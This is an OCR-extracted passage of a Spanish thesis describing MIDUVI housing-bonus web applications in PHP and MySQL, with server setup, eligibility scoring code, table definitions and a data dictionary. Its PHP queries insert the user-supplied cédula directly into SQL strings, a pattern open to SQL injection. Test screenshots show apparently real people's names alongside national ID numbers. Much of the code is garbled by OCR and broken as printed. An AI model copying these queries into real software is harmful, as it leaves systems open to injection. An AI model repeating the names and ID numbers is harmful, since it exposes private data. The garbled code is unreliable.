Figura 6.65: Configuracion general del archivo httpd.conf en el cual se determina los directorios web.

Fuente: Autor de tesis

Luego el servidor no esta iniciado y por lo tanto en el navegador no se presenta

ningun resultado, como se ve en la figura.
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= root@tesisrick:~ =Bl
Archivo Editar Ver Terminal Solapas Ayuda
[root@tesisrick ~]# D <

Problema al cargar la pagina - Mozilla Firefox

Archivo Editar Ver Historial Marcadores Herramientas Ayuda
a ¥ ?@ 0 ‘ L. | http:/flocalhost/consultarbono.ph tl |Gl @,

f5]Mas visitados ¥  [@] CentOS Supporty
= ] pp!

] 1. Problema al cargar la pagina  x l-" Google x ‘ v
C No se puede conectar

Firefox no puede establecer una conexién con el
servidor en localhost.

Ikl

Terminado

Figura 6.66: Comprobacién del funcionamiento de la aplicacion web antes de iniciar el servicio web.
Fuente: Autor de tesis

Para poder iniciarlo se debe ejecutar el siguiente comando:

# service httpd restart

‘@ root@tesisrick:~ (:HE;H_EH
Archivo Editar Ver Terminal Solapas Ayuda

3

[root@tesisrick ~]# service httpd start
Iniciando httpd: [ 0K 1]
[root@tesisrick ~]# []

%) CONSULTA DE BONOS DE VIVIENDA - MINISTERIO DE DESARROLLO URBANO ' = | &% |

Archivo Editar Ver Historial Marcadores Hemramientas Ayuda

é N ?4‘3 ﬁ [1;;3‘ http:/flocalhost/consultarbono.php |'I " @

[5]Mas visitados ¥ [@]CentOS {3 Support™

[ [6] CONSULTA DE BONOS DE V... x I-" Google x ‘

DR

MINISTERIO DE
DESARROLLO

URBANO Y VIVIENDA
MIDUVI

Fecha:

| Hora: [16:55

‘ Ingrese Cédula: E

Figura 6.67: Prueba de la aplicacion de consulta bonos luego de la ejecucion del comando de inicio del
servicio web.
Fuente: Autor de tesis.

Para la instalacibn de MySQL se siguen casi los mismos pasos, es decir, con el
comando # yum install mysgl mysql-server se logra obtener un sistema de
gestion de base de datos en el servidor.

Para acceder al servidor se puede utilizar el mismo MySQL-Front ya que soporta
conexiones remotas y desde la herramienta se importaran los datos como se

mostré en un capitulo anterior.
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PANTALLA PRINCIPAL

£3 httpijj201.219.3.16¢
Referencia Répida de .. () ElBlog de Alex4 &3 Sostenible de redes d... [ Sistema.de.Gestion.b... [l Metadatos Dublin Core ) Volumenes Lagicos (Lt

h Hotfile,com: One click file hosting: Saw ... | | £3 CONSULTA DE BONOS DE YIVIEND... £ |

CONSULTE EL BONO DE LA VIVI

DESARROLLO

URBANO Y VIVIENDA
MIDUVI

c MINISTERIO DE
Ls

Fecha: [Martes 26 de Octubre 2010

Hora: ‘1528

Consultar

‘ Ingrese Cédula: | |

Figura 6.68: Pantalla principal de la aplicacion “consulta bonos” vista en produccidn desde el internet.
Fuente: Autor de tesis.

Para utilizar este aplicativo se debe ingresar el nimero de cédula del beneficiario

del bono de vivienda.
La consulta esta disefiada para buscar tanto en el campo del beneficiario como el

del conyuge, como se presenta en la siguiente figura.

fsentencia = "select NOMPOSTU,CEDPOSTD, NOMCONTD, CEDCONTT,
PROVINCIA, CANTON, PROYECTO,C_ESTADOD DETALLE,C ESTADO PORTAL
from thnacional n, thestado e
where n.c_estado_id = e.c_estado_id and
[cedpostu = 'scedula' or cedconvu = 'scedula'i”™;
Figura 6.69: Sentencia SQL utilizada en la busqueda de registros desde la aplicacion en internet.

Fuente: Autor de tesis.

Luego de ingresar el numero de cédula la aplicacién presentara la siguiente

pantalla, como se muestra en la figura.

| Fecha [Martes 26 de Octubre 2010
| Hora [1538
Tngrese Cédula: |0400871232]
| Consultar
REGISTRO ENCONTRADO EN BASE HISTORICA

CEDULA BENEFICIARIO: 0400871232
[NOMBRE BENEFICIARIO: ZURA LIMA VICTOR EDGAR
CEDULA CONYUGE: 1002064168
NOMBRE CONYUGE: CAICEDO PUENTESTAR ESTELA MARLEMNE
PROVINCIA: CARCHI
CANTON: ESFEID
PROYECTO: FRAILEION 2
ESTADO: BOMNO ACTIVO PARA CUALQUIER TIPO BEMEFICIO
NOTA:

Figura 6.70: Prueba del funcionamiento de la aplicacion y consulta SQL al devolver datos encontrados.
Fuente: Autor de tesis.
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6.4.2. INTERFAZ DE CONSULTA DE LA ACCESIBILIDAD AL BONO.

La funcionalidad de este aplicativo sera de indicar e informar a las personas que
no han sido beneficiadas del bono de vivienda si pueden o no aplicar al incentivo.
Las areas de consulta seran area urbana y area rural. Cada una de ellas tiene sus
propios parametros de calificacion y el aplicativo realizara el proceso de validacion
de requisitos y mostrara el mensaje que indique si esa persona puede 0 no
postular al bono de vivienda.

Este aplicativo incorpora una base de datos adicional que debera ser importada

desde un archivo plano y que su tamafio es de 1,3 GB.

" miduvihogar
/} sgl de estructura de tablas mysql  |=| A TXT

Figura 6.71: Identificacion del archivo del registro social que sera importado a la base en MySQL.
Fuente: Autor de tesis.

PROCESO DE IMPORTACION DE DATOS DEL REGISTRO SOCIAL
Para este proceso es muy dificil encontrar un procesador de textos que soporte
este archivo, razén por la cual no se puede verificar en que codificacion estan los

datos a importarse.

Si se utiliza un método para importar los datos sin conocer la codificacion real en
la cual fue creado el archivo plano, es posible que los resultados no sean los

esperados ya que no se completara correctamente el proceso.
Ejemplo: Importacidon de la base del registro social.

El primer paso es crear la tabla que alojara a “miduvipersona”, luego la tabla
“miduvinucleo”, que son las dos necesarias para poder realizar la consulta

requerida.

En la siguiente figura se puede visualizar el comando SQL para crear la tabla
”tbpersona” con todos los campos necesarios, luego de esto se procedera a

realizar la importacién de datos como se realizé anteriormente.
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CEEATE TABLE "“thpersona” |
“idhogar® bigdint (Z0) NOT NULL,
“idrmacleoc” bigimnt(Z0) NOT NULL,
‘orden” imnt {11} NOT HULL,
‘residente’ inkt(11) WOT WNULL,
“apellidos warchar (Z55) NOT NULL,
‘nombres” warchar (Z00) NOT NULL defauwlt '',
"sexo” int(ll) WNOT WULL,
edad’ int (11 HOT WULL,
‘edadMes" dint(11] NOT NULL,
‘parentesco’ inkt (11) NOT MULL,
‘civilt dmt (11) NOT HULL,
‘parentescoMuclec” imt(11) NOT NULL,
“tdocumento’ ink (11) NOT MULL,
“edocumento’ ink (11) NOT MULL,
‘nacionalidad” int(11) NDT NULL,
‘cedula” warchar (11) NOT NULL,
*ie=ssl" dimnt (11} NOT HULL,
‘ie=sszt dimt (11) NOT HULL,
“discapacidad” int(11) NDT NULL,
*idiomal dimt(11] NOT NULL,
‘idiomaz* dimt(11] NOT NULL,
‘matricula® ink({11) WOT WNULL,
“asistencia’ imkt (11) NOT MNULL,
“establecimiento” ink(11) NOT MULL,
“instrucciont imt(11) NOT NULL,
“aprobado” int(11l) NOT WNULL,
‘actividad® int {11} HOT NULL,
‘itrabhajo” decimal (11,0} HOT NULL,
‘ialmquiler” decimal(ll,0) NOT HULL,
“ipension” decimal (11,0) HOT NULL,
‘ibeca’ decimal (10,0} NOT NULL,
‘frnac' datetime NOT HNULL,
"fonetico” warchar (100) NOT NULL,
"status" warchar (&) NOT NULL,
*selben” warchar (100) NODT NULL,
PRIMARY KEY (" cedula’),
EEY "idnuclen” (“idnuclec’)

1 ENGINE=MyISAM DEFAULT CHARSET=latinl;

Figura 6.72: Detalle de campos de la tabla persona en la cual se importara los datos del registro social.
Fuente: Autor de tesis

En la siguiente figura se muestra la tabla “nucleo” que se relaciona de 1 a varios
con la tabla “persona” mediante el identificador idnucleo, el cual servir4 para

generar las consultas relacionadas entre las 2 tablas.

CEEATE TAELE ‘muclec” |
*id® bigint (Z0) NOT NULL DEFAULT '0',
“idhogar® bigint(l2) DEFRULT NULL,
‘puntaje’ warchar(lS5) DEFAUVLT NULL,
“idmucleo” bigint (Z0) DEFAUVLT NULL,
PREIMARY EEY (-id"),
EEY "idhogar® ("idhogar®  Cidmacleo”)
V ENGINE=MyISAM DEFAVLT CHARSET=latinl;

Figura 6.73: Detalle de campos de la tabla nticleo en la cual se importaran los datos del registro social.
Fuente: Autor de tesis.

Luego de importar las tablas antes mencionadas, se procedera a realizar los

testing para verificar si los datos se encuentran completos y sin inconsistencias.
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TABLA PERSONA

gelect count (*) az totalpersona from thpersona;

kokalpersona
4560674

Figura 6.74: Verificacion del proceso de importacion y conteo de registros en la tabla persona.
Fuente: Autor de tesis.

TABLA NUCLEO

gelect count [*) as totalnuacleo from macleo;

kotalnucleo
2421716

Figura 6.75: Verificacion del proceso de importacion y conteo de registros en la tabla ntcleo.
Fuente: Autor de tesis.

DESARROLLO DE LA APLICACION

Para el desarrollo de esta aplicacion de acuerdo a los requerimientos de la
institucién, se presentard una interfaz para el sector urbano y otra para el sector

rural.

La caracteristica principal de la interfaz para el sector urbano es que presenta 3

opciones para la seleccién del tipo de vivienda, que se detallan a continuacion:

e Construccion
e Adquisicién

e Mejoramiento

CONSULTA_URBANA.PHP

La pantalla para esta consulta es la siguiente:



Consulta de aspirantes al apoyo econédmico con el programa SAV BID

Urbano ‘ Rural

( MINISTERIO DE
( ) DESARROLLO
URBANO Y VIVIENDA
MIDUVI
CONSULTA PARA FL APOYO ECONOMICO URBANO

Seleccione el tipo de vivienda:

[ 4] Construceidn de Vivienda
O Adquisicidn
[ ] Iejoramiento

| Ingrese la cédula: ||

| Consultar

ESTIMADO/A:
HOYOS SERINA VIRGEN MARTA
TUSTED ST CALIFICA AL APOYO ECONOMICO
POR UN VALOE. DE 3960 UsD
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Figura 6.76: Pantalla principal del aplicativo para la consulta de aspirantes al bono de vivienda del area

urbana.
Fuente: Autor de tesis.

Los mensajes que se devuelve la consulta son los siguientes:

Cuando si
constaen la
base del
Registro Social.

ESTIMADO/A:
HOYOS SERINA VIRGEN MARTA

USTED SIPUEDE POSTULAE AL APOYC ECONOMICO

POE TN VALOE DE 5000 TTET.
A TTHA VIVIENDA DE HASTA 12000 T5D.

Cuando el Usted No califica al apoyo econdmico para la vivienda
puntaje es Su puntaje es mayor al permitido

mayor

Cuando no No se encuentra registrado en la Base de Datos
constaen la Si usted desea ser parte de la Base de Datos del Registro Social
base del RS.

Tabla 6.6: Tabla de mensajes devueltos por la aplicacion de consulta urbana.

Fuente: Autor de tesis.

La validacion que se realiza para cada caso de tipo de vivienda se la puede

analizar en el cédigo que se muestra en la siguiente figura.
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g3l = " select p.cedula, p.apellidos,p.nowbres, n.puntaje
from nucleo n, thpersona p
where n.idhogar = p.idhogar and n.idonucleo = poidnucleo
and p.cedula = '§cedula Z' 7;
fresult = mysgl_rquery(§sgl,fconexion) or die [(mysgl_errori)):
fouantos = wysqgl num rows(fresult):
if [$cuantos > 0){
while (gfreg=mysql_fetch_array(fresult)) {
jced = freg['0'];

fape = §reg['l']:
fnom = freg['Z'];
Spurn = freg['3'];

'

if (§tipo_ Z==1){
if [(fpun>0 and Fpun <= 53.10){
$hono = 3600;
if(gpurc-0 and fpun <=52.90){ gFwalorviwv=1l;
'
else if(fpun-3Z.90 and Fpun<=38.10) {§valorviv=2;
'
telse fhono = 0;
lelze
if (§tipo_ 2==2)]
if (§puwrc-0 and fpun <= 55.10){ $bono = 5000;
if (spurc-0 and spun<=52.90)§{ fvalorwviwv=1;
Voelse if(fpurc-52. 90 and spun<s=55.10) 1
fvalorviv==2;
}
telse ghono = 0;
telze
if [(§tipo_ 2==3)1{
if [fpun-0 and fpun <= 52,9004
fbono = 1500;
gvalorviv=3;
telse ghono = 0;

Figura 6.77: Codigo fuente en PHP que realiza la consulta SQL y la comparacion del rango de puntaje.
Fuente: Autor de tesis.

Segun el rango de puntaje que se valide, el bono y el valor de la vivienda seran

diferentes, para cada caso existen comentarios en el codigo php.

Esta aplicacion estd instalada en el servidor de produccion, por lo tanto, desde

cualquier parte del mundo se puede acceder sin problemas.
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CONSULTA_RURAL.PHP

La pantalla para esta consulta es la siguiente:

| Consulta de aspirantes al apoyo econdmico con el programa SAV BID

( MINISTERIO DE

t 'a DESARROLLO
URBANO Y VIVIENDA

MIDUVI

CONSULTA PARA APOYO ECONOMICO RURAL - URBANO MARGINAL

| Ingrese la cédula: |I

‘ Consultar

ESTIMADO/A:
DOMINGUEZ PANTA EDGARDO
USTED SIPUEDE POSTULAR AL APOYO ECONOMICO
POR UN VALOR DE 3960 USD.
Y DEBE PONER UN APORTE DE 360 USD.

Figura 6.78: Pantalla principal del aplicativo para la consulta de aspirantes al bono de vivienda del area

rural.
Fuente: Autor de tesis.

Los mensajes que se devuelve la consulta son los siguientes:

Cuando si TUSTED SIPUEDE POSTULAR AL APOTO ECONOMICO
gggztgeel’” la FPOE TN VALCOE DE 3960 TTSD.

Registro Social.

DOMINGUEZ PANTA EDGARDO

T DEEE FOINEER. UM APOETE DE 360 USD.

Cuando el Usted No califica al apoyo econdmico para la vivienda
puntaje es Su puntaje es mayor al permitido

mayor

Cuando no No se encuentra registrado en la Base de Datos
constaen la Si usted desea ser parte de la Base de Datos del Registro Social
base del RS.

Tabla 6.7: Tabla de mensajes devueltos por la aplicaciéon de consulta rural.
Fuente: Autor de tesis.
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La validacion que se realiza para este caso es Unicamente con el nimero de

cédula y el puntaje del registro social, se puede apreciar en el siguiente cédigo.

gagql = " select p.cedula, p.apellidos,p.nowbres, n.puntaje
from mcleo n, thpersona p
where n.idhogar = p.idhogar
and n.idmicleo = p.idouclen
|and p.cedula = 'fcedula 1" s
fresult = mysgl_gqueryig§sdgl,fconexion or die {myagl_error()):
fouantos = mysgl num rows(fresult)
if [(§cuantos = 0)4
while (freg=mysql_fetch array(fresult)) !
fced = sreg['0'];
sape sreg['l']:
fnom = sreg['Z'];
fpun = freg['3'];

'

gbono = 0;

faporte = 0;

if (spun=0 and spun < 31.01)§
thono = 5000;
faporte = 0O;

lelze

if (fpumns=31.01 and $pun < 44.52){
Fhono = 5000;
faporte = 250;

telse

if (fpumne=44. 52 and fpun £= 52.90){
ghono = 39607
faporte 360;

telse fhono o;

Figura 6.79: Codigo fuente en PHP que realiza la consulta SQL y la comparacion del rango de puntaje.

Fuente: Autor de tesis.

Como se pudo apreciar, en las condiciones hay 3 categorias que varian de

acuerdo al puntaje y segun esto varia el aporte que debe realizar el beneficiario.

Se pude finalizar mencionando que estas consultas trabajan con un nivel de

velocidad de procesamiento considerable y que los resultados se presentan al

usuario de forma inmediata.

6.4.3. MODULO PARA EL CONTROL Y SEGUIMIENTO DE LOS PROYECTOS

DE VIVIENDA PARA EL AREA RURAL Y URBANO MARGINAL.

La realizacion de este mddulo es esencial en el Ministerio de Desarrollo Urbano y

Vivienda, por el &rea de accion que abarca.
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La necesidad de este médulo nace ya que hasta el afio 2009 no existia una
aplicacion que gestione el seguimiento y control de los proyectos de vivienda del

area rural — urbano marginal.

Este modulo presenta opciones desde Emision, Aprobacion, Contratacion, Pagos,
Control de Avance de Obra, Registro de actas provisionales — definitivas y
Finalizacion de la Vivienda.

El manejo de este modulo se lo explica claramente en el Anexo C — Manual de

Usuario del Modulo de Control de Proyectos de vivienda.

DICCIONARIO DE DATOS

NOMBRE_TABLA | TIPO_OBIJETO DESCRIPCION
tbtotalcalifidos Entity Tabla para almacenar los CALIFIDOS de proyectos de vivienda Rural - Urbano Marginal
tbregion Entity Almacena la region segun la codificacion de SENPLADES.
tbprovincia Entity Almacena registros de las provincias del Ecuador.
tbcanton Entity Almacena registros de cantones del Ecuador.
tbparroquia Entity Almacena registros de las parroquias del Ecuador.
tbregionnatural Entity Almacena la region natural.
tbproyecto Entity Almacena registros de proyectos de vivienda como agrupacion de personas que postulan al bono.
tbzonaGeografia Entity Almacena la zona o sector en donde se aplicard el beneficio.
tbtiposolucion Entity Almacena el tipo de solucién del bono.
tbpersona Entity Almacena registros de las personas que postulan al bono de vivienda.
tbgenero Entity Almacena el sexo de las personas.
tbecivil Entity Almacena los tipos de estado civil.
tbcalificacion Entity Almacena informacion de la calificacidén general de las personas que postularon al bono de vivienda.
tbfiscalizador Entity Almacena los registros de fiscalizadores a cargo del proyecto de vivienda.
tbsupervisor Entity Almacena los registros de supervisores a cargo del proyecto de vivienda.
tbconstructor Entity Almacena los registros de constructores que realizaran los proyectos de vivienda.
tbtransacciones Entity Almacena las transacciones que realizan los diferentes usuarios a cargo de la aplicacion.
tbusuario Entity Almacena los registros de usuarios habilitados para el uso de la aplicacion.
tbcontrato Entity Almacena los contratos que se generan antes de iniciar la obra de un proyecto de vivienda.
tbestado Entity Almacena el estado de las postulaciones de personas que accedieron al bono de vivienda.
tbcarga Entity Almacena los registros de las cargas familiares que tiene el postulante.
tbparentesco Entity Almacena los tipos de parentesco posibles para la persona que postula al bono de vivienda.
tbtipoproyecto Entity Almacena el tipo de proyecto a ejecutarse.
tbcontratomod Entity Almacena el tipo de modalidad en contratacion para los proyectos de vivienda.
tbfiscalizadortipo Entity Almacena los tipos de fiscalizares a cargo de la obra del proyecto de vivienda.
tbpoliza Entity Almacena las pdlizas que se generan con el pago o financiacion de un proyecto de vivienda.
tbpago Entity Almacena registros de proyectos que son pagados.
tbfinanciamiento Entity Almacena el registro de los diferentes tipos de financiamiento de proyectos de vivienda.
tbtransferencia Entity Almacena los registros de proyectos de vivienda que son asignados recursos financieros.
tbnacional Entity Almacena los registros historicos de beneficiarios anteriores al afio 2009.
tbestadoproy Entity Almacena el estado del proyecto de vivienda, desde su inicio hasta la finalizacion.
tbemitido Entity Almacena registros de proyectos que son emitidos.
tbadjudicado Entity Almacena los registros de proyectos que son adjudicados.
tbanulado Entity Almacena los registros de bonos anulados o devueltos.
tbduplicado Entity Almacena los registros de personas que ya recibieron el bono y trataron de postular nuevamente.
tbusuario_a Entity Almacena los registros para perfiles y privilegios de usuarios habilitados al uso de la aplicacion.
tbdiscapacidad Entity Almacena el tipo de discapacidad de las personas, si las tuviere.
tbconyuge Entity Almacena registros de los conyuges de postulantes al bono de vivienda.
tbaseguradora Entity Almacena registros de aseguradoras para la ejecucion de proyectos de vivienda
tbtipopoliza Entity Almacena el tipo de pdliza a ejecutarse.
tbrenovacion Entity Almacena las renovaciones para las pdlizas vencidas.
tbavanceobra Entity Almacena los registros a nivel de porcentaje de avance de obra de los proyectos de vivienda.

Figura 6.80: Diccionario de Datos (a).
Fuente: Autor de Tesis.
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TABLA TBTOTALCALIFIDOS

NOMBRE DEL CAMP(

DESCRIPCION

TABLA TBREGION

CALNIN

Cadigo de registro.

NOMBRE DEL CAMPO

DESCRIPCION

C_REGION_COD

Cédigo de la region.

FECHA Fecha de generaci6n de registro. C_REGION_DETALLE Regi6n codificada por SENPLADES.
CALQNTL Numero de quintil para cada persona.

SOLUCION Tipo de solucidn de postulacién. TABLA TBPROVINCIA

GEOGRAFIA Area o sector en el que aplica la postulacion. NOMBRE DEL CAMPO | DESCRIPCION

CODPROYECT Caodigo de proyecto para el comite de vivienda. C PROVINCIA ID Codigo de Ia provindia.
E‘EL'\::EOYECT zsgl‘lli’(;z g:t‘;rr:‘;e;:l’;’;’:u‘lea';t"e'f“te de vivienda. C_PROVINCIA_NOMBRE |Nombre de la provincia.
CALAPM Apellido materno del postulante.

CALNOM Nombres del postulante. TABLA TBCANTON

CALEST Estado civil del postulante. NOMBRE DEL CAMPO__ [DESCRIPCION

CALCED Numero de cedula del postulante. C_CANTON_ID Codigo del canton

CALSEX Sexo del postulante. C_CANTON_COD Id del canton segun la provincia.
CALANO Afio de nacimiento del postulante. C_CANTON_NOMBRE _|Nombre del canton.

CALOCU Ocupacion del postulante.

CALAPC Apellido paterno del conyuge. TABLA TBPARROQUIA

CALAMC Apellido materno del conyuge NOMBRE DEL CAMPO  |DESCRIPCION

CALNOC Nombres del conyuge. C_PARROQUIA_ID Cddigo de parroquia.

CALCEC Cedula del conyuge. C_PARROQUIA_COD Id de parroquias segun los cantones
CALANIO Afio de nacimiento del conyuge. C_PARROQUIA_NOMBRE|Nombre de la parroquia.

CALINT Valor de ingresos familiares. C_PARROQUIA_DETALLE |Cabecera cantonal de la parroquia.
CALCVP Provincia en donde aplicara la postulacion.

CALCVC Canton en donde aplicara la postulacion. TABLA TBREGIONNATURAL

CALPRR Parroquia en donde aplicara la postulacion. NOMBRE DEL CAMPO _ | DESCRIPCION

INCENT Valor neto del bono asignado. C_REGIONNAT COD __|Codigo de region natural.
PRECIO Valor total del incentivo. C_REGIONNAT_DETALLE | Detalle de la regién natural.
MATERIAL Aporte en ddlares del postulante.

AREA Area del terreno en donde se aplicara el bono.

CALEMRG Valida si el proyecto es emergente. TABLA TBZONA

DSTRCMNT Calificacion 1 del proyecto emergente. NOMBRE DEL CAMPO | DESCRIPCION

DSTRMMPS Calif?cacion 2 del proyecto emergente. C_ZONA_COD Céd zona o sector de aplicacion.
DSTRPRTA Calificacion 3 del proyecto emergente. C_ZONA_DETALLE Nombre de la zona de aplicacion
DSTRVNTN Calificacion 4 del proyecto emergente.

DSTRTCHO Calificacion 5 del proyecto emergente. TABLA TBTIPOSOLUCION

DSTROTRS Calificacion 6 del proyecto emergente. NOMBRE DEL CAMPO |DESCRIPCION

PUNTOPOS Puntos para postulaciones del postulante. C TIPOSOL COD |Cédigo del tipo de solucion.
PUNTOPOS1 Puntos para postulaciones 1 del postulante. C_TIPOSOL_DETALLE Nombre del tipo de solucion.
PUNTOPOS2 Puntos para postulaciones 2 del postulante. — —

PUNTOCON Puntos para postulaciones del conyuge.

PUNTOCON1 Puntos para postulaciones 1 del conyuge. TABLA TBGENERO

PUNTOHIJ Puntos para postulaciones para los hijos. NOMBRE DEL CAMPO DFS_CRIPCION

PUNTOHI1 Puntos para postulaciones 1 para los hijos. C_GENERO_COD Codigo para el SEX0 O Benero.
PUNTOPAD Puntos para los padres adultos. C_GENERO_DETALLE Nombres para los tipos de sexo.
PUNTOPAD1 Puntos 1 para los padres adultos.

PUNTOANC Puntos para los ancianos. TABLA TBECIVIL

PUNTOANC1 Puntos 1 para los ancianos. NOMBRE DEL CAMPO _ |DESCRIPCION

PUNTOSFAM Puntos para la familia. C_ECIVIL_COD Codigo para tipos de estado civil.
PUNTONGRFA Puntos para el grupo familiar 1. C_ECIVIL_DETALLE Detalle del estado civil.
PUNTOGRUFA Puntos para el grupo familiar 2.

PUNTOSPRO Puntos del proyecto. TABLA TBTRANSACCION

IMPDMTO Detalles de impedimentos. NOMBRE DEL CAMPO _ |DESCRIPCION

IMPDMTO1 Detalle 1 de impedimentos. C_TRANSACCION_COD |Cddigo de la transaccidn.
IMPNUE Impedimento para bonos emergentes. C_TRANSACCION_FECHA |Fecha de realizacion transaccion.
RETIRA Detalle de retiro de postulacion. C_TRANSACCION_HORA |Hora realizacién la transaccién.
CALIFICAPR Calificacion del proyecto. C_TRANSACCION_NUMO|Numero de oficio de transaccion.
CALIFICA Calificacion del postulante. C_TRANSACCION_FECHA(Fecha del oficio de transaccion.
CALIFIDOCODIGO _ |Cédigo identificador para el CALIFIDO. C_TRANSACCION_IP Ip la cual ejecuta la transaccion.
UBSTENX Coordenada X en formato WGS84. C_TRANSACCION_HOST |Nombre de host que ejecuta.
UBSTENY Coordenada Y en formato WGS84. C_TRANSACCION_OBSERYObservacién de la transaccion.
ZONA Zona en referencia al meridiano de Greenwich. C_TRANSACCION_ESTAD(Estado antiguo de la transaccién.
ESTADOFINAL Estado de la postulacion. C_TRANSACCION_ESTAD(Estado nuevo de la transaccion.
CE Codigo de etnia. C_TRANSACCION_FECHATFecha del servidor de transaccion.
ETNIA Detalle de Etnia C_TRANSACCION_PROYE(Proyecto afectado en transaccion.
CT Cadigo para la tenencia del terreno.

TENENCIATERRENO [Detalle de la tenencia del terreno. TABLA TBUSUARIO

FECHACARGA Fecha en la que se realiza al carga de datos. NOMBRE DEL CAMPO__ | DESCRIPCION

HORACARGA Hora en la que se realiza la carga de datos. C_USUARIO_COD Cddigo de usuario registrado.
CODCARGA Cédigo generado para la carda de datos. C_USUARIO_CEDULA Cédula del usuario registrado.
VALIDADO Condicionante para validar la carda de datos. C_USUARIO_NOMBRES [Nombres del usuario registrado.

C_USUARIO_APELLIDOS

Apellidos del usuario registrado.

C_USUARIO_FECHANAC

Fecha de nacimiento del usuario

C_USUARIO_MAIL

Correo electrénico del usuario

C_USUARIO_USER

Nombre de usuario de acceso

C_USUARIO_PASS

Contrasefia del usuario de acceso

C_USUARIO_PERFIL

Perfil de usuario.

C_USUARIO_ESTADO

Estado del usuario.
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TABLA TBPROYECTO

TABLA TBCONSTRUCTOR

NOMBRE DEL CAMPO

DESCRIPCION

C_PROYECTO_COD

Codigo Unico del proyecto de vivienda.

NOMBRE DEL CAMPO

DESCRIPCION

C_PROYECTO_NOMBRE

Nombre del proyecto de vivienda.

C_CONSTRUCTOR_CEDULA

Numero de cédula del constructor.

C_PROYECTO_FECHAING

Fecha de ingreso del proyecto de vivienda.

C_CONSTRUCTOR_NOMBRES

Nombres del constructor.

C_PROYECTO_CALIFIDOCOD

Caodigo califido del proyecto de vivienda.

C_CONSTRUCTOR_APELLIDOS

Apellidos del constructor.

C_PROYECTO_ESTADO

Estado del proyecto de vivienda

C_CONSTRUCTOR_TELEFONO

Numero de teléfono del contructor.

C_PROYECTO_PARROQUIA

Parroquia situado el proyecto de vivienda.

C_CONSTRUCTOR_MAIL

Mail del contructor.

C_PROYECTO_CANTON

Canton situado el proyecto de vivienda.

C_CONSTRUCTOR_DIRECCION

Direccién de la empresa del contructor.

C_PROYECTO_PROVINCIA

Provincia situado el proyecto de vivienda.

C_CONSTRUCTOR_PROVINCIA

Provincia que ejerce oficio el constructor.

C_PROYECTO_VALOR

Valor en délares del proyecto de vivienda.

C_CONSTRUCTOR_ESTADO

Estado del constructor.

C_PROYECTO_VALORAPORTE

Valor en délares del aporte familiar.

C_CONSTRUCTOR_NUMOBRAS

Numero de obras sin terminar.

C_PROYECTO_NUMSOL

Numero de soluciones del proyecto.

C_CONSTRUCTOR_COMPANIA

Compaiiia al que pertencece el constructor.

C_PROYECTO_CODIGOCARGA

Codigo de carga del proyecto de vivienda.

C_CONSTRUCTOR_REPRESENTAN

Representante al que pertence el constructor

C_PROYECTO_FECHAREALFIN

Fecha real de fin del proyecto de vivienda.

C_PROYECTO_ACTAP

Fecha de registro de acta provisional.

C_PROYECTO_ACTAD

Fecha de registro de acta definitiva.

TABLA TBCONTRATO

C_PROYECTO_FECHAREALINICIO

Fecha real de inicio de obra.

NOMBRE DEL CAMPO

DESCRIPCION

C_PROYECTO_AVANCEOBRA

Fecha de visita para avance de obra.

C_CONTRATO_COD

Cddigo de contrado.

C_CONTRATO_FECHAFIRMA

Fecha de |a firma del contrato.

TAB

LA TBPERSONA

C_CONTRATO_MONTO

Monto del contrato.

NOMBRE DEL CAMPO

DESCRIPCION

C_CONTRATO_PLAZO

Plazo de vigencia del contrato.

C_PERSONA_CEDULA

Cedula de persona.

C_CONTRATO_NUM

Numero de contrato.

C_PERSONA_APELLIDOP

Apellido paterno de la persona.

C_CONTRATO_FECHAANTICIPO

Fecha de anticipo del contrato.

C_PERSONA_APELLIDOM

Apellido materno de la persona.

C_CONTRATO_FECHATERMINO

Fecha de termino del contrato.

C_PERSONA_NOMBRES

Nombres de la persona.

C_CONTRATO_FECHADEFINITIVA

Fecha definitva del contrato.

C_PERSONA_FECHANAC

Fecha de nacimiento de la persona.

C_CONTRATO_INCOP

Numero del incop en el contrato.

C_PERSONA_TELEFONO

Numero de teléfono de la persona.

C_CONTRATO_APORTEBENEFICI.

Aporte de beneficiaio del contrato.

C_PERSONA_MAIL

Mail de la persona.

C_PERSONA_DIRECCION

Direccién domiciliaria de la persona.

C_PERSONA_OCUPACION

Ocupacién de la persona.

C_PERSONA_LTRABAJO

Lugar de trabajo de la persona.

C_PERSONA_EMPRESA

Empresa si trabaja la persona.

C_PERSONA_TTRABAIO

Tiempo de trabajo en la empresa actual.

C_PERSONA_FONOTRABAJO

Numero de telefono del trabajo.

TABLA TBPOLIZA
NOMBRE DEL CAMPO DESCRIPCION
C_POLIZA_COD Codigo de pdliza.
C_POLIZA_FECHAINICIO Fecha de inicio que consta en la péliza.
C_POLIZA_DIAS Numero de dias de vigencia de la pdliza.

C_POLIZA_NUMRENOVACION

Numero de renovacidnes de la pdliza.

TABLA TBCONYUGE

C_POLIZA_PORCENTAJE

Porcentaje de la poliza.

NOMBRE DEL CAMPO

DESCRIPCION

C_POLIZA_PLANILLA

Valor de la planilla de péliza.

C_CONYUGE_CEDULA

Cédula del conyuge.

C_POLIZA_SALDO

Saldo restante de la pdliza.

C_CONYUGE_APELLIDOP

Apellido paterno del conyuge.

C_POLIZA_NUM

Numero de pdliza.

C_CONYUGE_APELLIDOM

Apellido materno del conyuge.

C_POLIZA_MONTO

Monto en délares que se emite la péliza.

C_CONYUGE_NOMBRES

Nombres del conyuge.

C_POLIZA_FECHAFIN

Fecha de fin que consta en la péliza.

C_CONYUGE_FECHANAC

Fecha de nacimiento del conyuge.

C_CONYUGE_OCUPACION

Ocupacion del conyuge.

C_CONYUGE_LTRABAJO

Lugar de trabajo del conyuge.

C_CONYUGE_TELEFONO

Numero de telefono del conyuge.

C_CONYUGE_INGRESOS

Ingreso del conyuge.

TABLA TBPAGO
NOMBRE DEL CAMPO DESCRIPCION
C_PAGO_COD Codigo para el pago del proyecto.

C_PAGO_FECHA

Fecha de registro de pago.

C_PAGO_MONTO

Valor en délares del monto de pago.

TABLA TBNACIONAL -
NOMBRE DEL CAMPO DESCRIPCION C_PAGO_HORA Hora de registro de pago.
NOMPOSTU Nombre del beneficiario en base histérica C_PAGO_CUR Numero de CUR o comprobante de pago.
CEDPOSTU Cédula del beneficiario en histérica
NOMCONYU Nombre del conyuge en la tabla histdrica. TABLA TBAVANCEOBRA
CEDCONYU Cédula del conyuge en la tabla histdrica. NOMBRE DEL CAMPO DESCRIPCION
PROVINCIA Nombre de la provincia. C_AVANCEOBRA_COD Cédigo de avance de obra del proyecto.
CANTON Nombre del canton. C_AVANCEOBRA FECHAVISITA |Fecha de la visita de avance de obra.
PROYECTO Nombre del proyecto de vivienda.

C_AVANCEOBRA_PORCENTAJE

